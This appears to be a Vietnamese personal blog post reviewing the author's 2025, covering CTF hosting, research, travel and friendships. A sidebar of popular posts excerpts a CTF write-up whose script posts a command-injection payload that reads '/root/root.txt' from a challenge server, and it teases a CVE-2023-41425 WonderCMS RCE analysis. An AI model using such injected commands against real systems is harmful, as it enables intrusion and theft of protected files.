Tản mạn 2025

 Năm 2025 là một năm chán vô cùng chán với mình

Mình đi được nhiều nơi, được tham gia diễn tập nhiều thứ :D

Noel nè <(")




Tự tổ chức CTF đợt noel vừa rồi. -__-.

Ổn áp với nghiên cứu khoa học - một ông anh gánh cực lực team, một bạn nữ xinh xắn giỏi cực, một giảng viên hướng dẫn tâm huyết và mình là thk ngu nhất trong tổ đội đó



Hoàn thành thực tập tốt nghiệp trước hạn tận 1 năm :v Mình lười quá nên làm cho sớm để giờ tập trung công việc và đồ án.

Dẫn bố đi ăn chơi lung tung và bị lạc đường <(")

Cái lớp này cutie 

Được 1 ông anh mời colab :))) mấy đợt colab này học được nhiều thứ phết, rất đáng giá, em cảm ơn anh 

Mua được cả đống sách với giá hời, mất tầm hơn 1 triệu nhưng nhìn tủ sách mình mà thèm <(")



Được kouhai tặng quà sinh nhật - vui phết, cũng nên cảm ơn 1 tiếng :3 Rấc là cutie

Tập add lại mấy đứa cũ -__-, Có con nhóc kia làm mình bất ngờ thật <(") cũng có thể coi là 1 trong những độc giả đời đầu của mình. Méo hiểu tại sao hồi xưa u lại thích a đc thích nhể, cơ mà anh xin lỗi, tình yêu đến anh chạy đi, chưa muốn vướng bận lắm, anh còn muốn tự do và nhiều thứ cần phải cố gắng. Và quan trọng hơn a đăng gái suốt, u thấy bruh đấy -__-.

ông bạn từ Sài Gòn ra Hà Nội chơi




Viết lại truyện - cũng ko hẳn do lúc nào có hứng thì mình lại viết mặc dù ko muốn tiếp tục.

Viết bài trên viblo và được đang trên page :D đcm t nể tao luôn mà, cảm ơn các anh:

bài này được share nè:  LINK

Hế hế, đợt này loot được cái áo cơ mà làm quà tặng give away cho 1 fen rồi :D

Được các sếp động viên viết blog cho cơ quan nhưng mà mình từ chối(dốt vc, biết thế làm), để cố gắng đợt sau cho đủ lông cánh rồi bắt đầu :D

Được một ông bạn nước ngoài rủ sang nước họ làm vc, lương lậu hĩnh vc :v tiếc là mình từ chối rồi.
Nâng cấp con điện thoại và con máy tính đời tống :vVV cả 1 nỗ lực đấy -__-

Tham gia nhiều sự kiện lớn nhỏ từ blockchain cho đến an ninh mạng: nhận quà lưu niệm CYSEEX. 


Tham gia nhậu cùng các sếp từ nhiều công ty công nghệ khác nhau


Trải ngiệm ngập lụt của hà nội, ướt vcl
quà năm nay 19/11

Conf nhieu thu khac nua ma minh ko nho, chac do den tuoi gia r <("). Dcm thk ban cu nhan tin nho dau tu coin, dau tu cc.

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f. ...
Đọc thêm

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...
Đọc thêm

Tanr man 2024

 Tản mạn về năm 2024 của Spycio.Kon Một số thành tích nổi bật trong năm - Tự tay host một ctf nhỏ cho team từ A-Z - Tham gia kì thi lấy chứng chỉ quốc tế với tổng thiệt hại là hơn 500$, 20 ngày mất ngủ và 3 tháng ôn tập (mình được một anh đẹp zai hỗ trợ thi hihi), mặc dù chỉ được 2/3 chặng đường (fail) T__T. Em xin lỗi anh rất nhiều. - Đã giải được một số challenges ở một số giải ctf mà năm trước mình khó có thể giải được - Đã viết POC cho một số CVE mình chơi và được một số trang web crawl trúng, khá vui ^^ https://cve.imfht.com/poc_detail/75cc08888950aec9e37a3c206652083d271746e4 https://cvefeed.io/vuln/detail/CVE-2023-41425 https://154.17.20.211 - Nói chuyện được với một số idol quốc tế như IRELAND WITHOUT RE, Microsoft/Synack redteamer/bug hunter,... - Đã viết trên Viblo và cảm thấy bản thân đã có những đóng góp cho cộng đồng lập trình viên trong và ngoài nước mặc dù nó không có gì nhiều =))) https://viblo.asia/p/huong-dan-tao-discord-bot-bang-lm-studio-3kY4g0pyJAe https://viblo...
Đọc thêm